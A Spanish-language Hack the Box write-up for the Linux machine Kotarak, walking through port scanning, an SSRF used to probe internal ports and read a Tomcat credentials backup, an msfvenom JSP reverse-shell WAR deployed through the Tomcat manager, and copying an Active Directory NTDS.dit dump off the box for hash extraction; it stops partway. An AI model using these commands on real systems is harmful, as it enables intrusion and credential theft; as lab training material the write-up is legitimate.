Kotarak Writeup

DifícilLinux
Las flags que resuelven este reto se encuentran protegidas. Comparte el artículo en redes sociales para desbloquearlas.
$User Flag
93f844f5...

En este writeup vamos a ver cómo resolver la máquina Kotarak de la plataforma de Hack the Box.

Conexión

Conectar nuestra máquina de ataque a la VPN:

$ openvpn gorkamu-htb-vip.ovpn

Enumeración

Si enviamos un paquete ICMP podemos ver que tipo de máquina es según su TTL:

$ ping -c 1 10.10.10.55

El TTL que tiene es de 63 por lo que nos enfrentamos ante una máquina Linux.

Vamos a hacer un escaneo de puertos mediante la herramienta nmap:

$ nmap -p- -A -Pn -sC -sV -n -v 10.10.10.55 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 e2:d7:ca:0e:b7:cb:0a:51:f7:2e:75:ea:02:24:17:74 (RSA) | 256 e8:f1:c0:d3:7d:9b:43:73:ad:37:3b:cb:e1:64:8e:e9 (ECDSA) |_ 256 6d:e9:26:ad:86:02:2d:68:e1:eb:ad:66:a0:60:17:b8 (ED25519) 8009/tcp open ajp13 Apache Jserv (Protocol v1.3) | ajp-methods: | Supported methods: GET HEAD POST PUT DELETE OPTIONS | Potentially risky methods: PUT DELETE |_ See https://nmap.org/nsedoc/scripts/ajp-methods.html 8080/tcp open http Apache Tomcat 8.5.5 |_http-favicon: Apache Tomcat | http-methods: | Supported Methods: GET HEAD POST PUT DELETE OPTIONS |_ Potentially risky methods: PUT DELETE |_http-title: Apache Tomcat/8.5.5 - Error report 60000/tcp open http Apache httpd 2.4.18 ((Ubuntu)) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Kotarak Web Hosting Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Si vamos al puerto 60000 en nuestro navegador vemos lo siguiente:

web de kotarak
web de kotarak

Si creamos un fichero php como el siguiente, lo servimos con un SimpleHTTPServer y ponemos la url a la que apunta ese php en el campo del formulario vemos que la página final procesa el php y lo imprime como comentario.

proof of concept php
proof of concept php

inyeccion header
inyeccion header

Si lo hacemos con un JS también lo procesa:

xss
xss

Si pasamos dirbuster o dirb al puerto 60000 descubrimos las siguientes páginas:

dirbuster
dirbuster

  • /index.php
  • /info.php
  • /url.php

Y en info.php podemos ver que el DOCUMENT_ROOT es /var/www/html

Vamos a lanzar otro escáner con Nikto al puerto 8080.

$ nikto -h 10.10.10.55:8080

Encontramos varios fallos importantes como la omisión de cabeceras anti XSS o la posibilidad de utilizar métodos como PUT o DELETE pero también ha encontrado las siguientes urls:

  • /examples/servlets/index.html
  • /manager/html
  • /host-manager/html
  • /manager/status

Estas tres últimas URLs están protegidas mediante autenticación.

Así que volvemos a pasar Nikto pero al puerto 60000.

$ nikto -h 10.10.10.55:60000

Viendo el resultado que nos devuelve vemos que hay una url que llama la atención:

Basados en el análisis anterior de la página url.php?path podemos probar si es vulnerable a un ataque de Remote Server-Side Request Forgery (SSRF)

Pruebas que no funcionan:

Sin embargo esta última imprime lo siguiente:

lfi
lfi

Si probamos a comunicarnos con un servicio local…

http://10.10.10.55:60000/url.php?path=localhost:22

service file inclussion
service file inclussion

Veamos que más puertos locales tiene abiertos, para ello lo recorremos con un bucle en bash y hacemos peticiones curl:

$ for i in $(seq 0 1000); do echo "Puerto $i: "; curl -s http://10.10.10.55:60000/url.php?path=localhost:$i; done ... Puerto 22: SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.2 Protocol mismatch. ... Puerto 90: <!DOCTYPE> <html> <head> <title>Under Construction</title> </head> <bodyd> <p>This page is under construction. Please come back soon!</p> </body> </html> ... Puerto 110: <html> <head> <title> favorites / bookmark title goes here </title> </head> <body bgcolor="white" text="blue"> <h1>Test page </h1> Absolutely nothing to see here. </body> </html> ... Puerto 200: <b>Hello world!</b> ... Puerto 320: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html> <head> <title>Accounting</title> <style type="text/css"> html,body{height: 50%; padding:0; margin:0;} form{ width:30em;height:9em; margin:-5em auto 0 auto; position: relative; top:50%; border:1px dotted #ccc; padding:.25em; } fieldset{ margin:0; border:0;padding:0;} legend{float:left; font-size: 200%; text-align: center; color:blue; font-weight: bold; border-bottom: 1px solid blue; width:15em; padding:0; } label, label+ input {display:inline; float:left;margin-top:1em;} label{text-align: right; width:28%; clear: left; margin-top:.8em; } label+ input{ width:60%; padding:.25em; ; margin-left:.5em; border: 1px inset; margin-left: } #sub{ margin-top:1em; position: relative; float:left;clear: left; margin-left: 29%} </style> </head> <body> <form action="" method="post"> <fieldset><legend>Super Sensitive Login Page</legend> <label for="name">Name: </label><input type="text" name="name" id="name" value="admin"> <label for="password">Password: </label><input type="password" name="password" id="password"> <input type="submit" value="Login" id="sub"> </fieldset> </form> </body> </html> ... Puerto 888: <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta http-equiv="content-type" content="text/html; charset=iso-8859-1"/> <title>Simple File Viewer</title> <link href="inc/default.css" rel="stylesheet" type="text/css" /> <!--[if lt IE 7.]> <script defer type="text/javascript" src="inc/js/pngfix.js"></script> <![endif]--> </head> <body> <div id="contents"> <h1> Simple File Viewer </h1><table width="100%" border="0" cellpadding="5" cellspacing="0" class="tableBorder"> <tr> ...

Internamente hemos encontrado los siguientes puertos abiertos:

Puerto 320:

hidden login
hidden login

Puerto 888:

simple file viewer
simple file viewer

Si nos fijamos en la url que genera el fichero de backup vemos algo así:

http://10.10.10.55:60000/url.php?doc=backup

Sin embargo esta url está mal formada porque no podemos ver el contenido del fichero. Para poder verlo tenemos que incluir el acceso al puerto local 888 del servidor:

http://10.10.10.55:60000/url.php?path=localhost:888?doc=backup

Y si ahora inspeccionamos el código fuente de esta página encontramos un fichero de configuración de tomcat en el que se definen usuarios.

tomcat config
tomcat config

Al final del documento encontraremos las credenciales para el usuario admin:

Estas credenciales nos dan acceso para las tres urls del principio del puerto 8080:

  • /manager/html
  • /host-manager/html
  • /manager/status

Si nos logueamos en /manager/html vemos que Tomcat tiene una opción para subir y desplegar ficheros WAR.

deploy war
deploy war

Así que vamos a generar un war con el payload de una reverse shell y lo subimos:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.21 LPORT=4242 -f war > ssec.war

Una vez subido, hacemos click sobre su nombre y automáticamente tendremos una reverse shell sobre la conexión netcat que hemos abierto.

reverse shell
reverse shell

Capturar User Flag

Lo primero que vamos a hacer es importar una TTY.

$ which python /usr/bin/python $ python -c 'import pty;pty.spawn("/bin/bash")'

Si nos dirigimos a /home/tomcat/to_archive/pentest_data veremos dos ficheros interesantes:

-rw-r--r-- 1 tomcat tomcat 16793600 Jul 21 2017 20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit -rw-r--r-- 1 tomcat tomcat 12189696 Jul 21 2017 20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin

El primero hace referencia a una copia de seguridad de la base de datos de active directory en el que se encuentran usuario y contraseñas que podemos deshashear.

Para descargar el fichero montamos en la máquina vulnerada un SimpleHTTPServer con python y ya en nuestra máquina nos lo descargamos con wget.

Con los dos ficheros ya descargados lo primero que hay que hacer es extraer la información y las tablas de la base de datos.

Esto lo hacemos con el comando esedbexport que es parte de libesedb. Lo descargamos e instalamos desde la página de releases https://github.com/libyal/libesedb/releases

$ wget https://github.com/libyal/libesedb/releases/download/20200418/libesedb-experimental-20200418.tar.gz $ tar xf libesedb-experimental-20200418.tar.gz $ cd libesedb-experimental-20200418 $ sudo apt-get install autoconf automake autopoint libtool pkg-config $ ./configure $ make $ sudo make install $ sudo ldconfig

También te puede interesar

Laboratory Writeup

Laboratory Writeup

Lame Writeup

Lame Writeup

Nibbles Writeup

Nibbles Writeup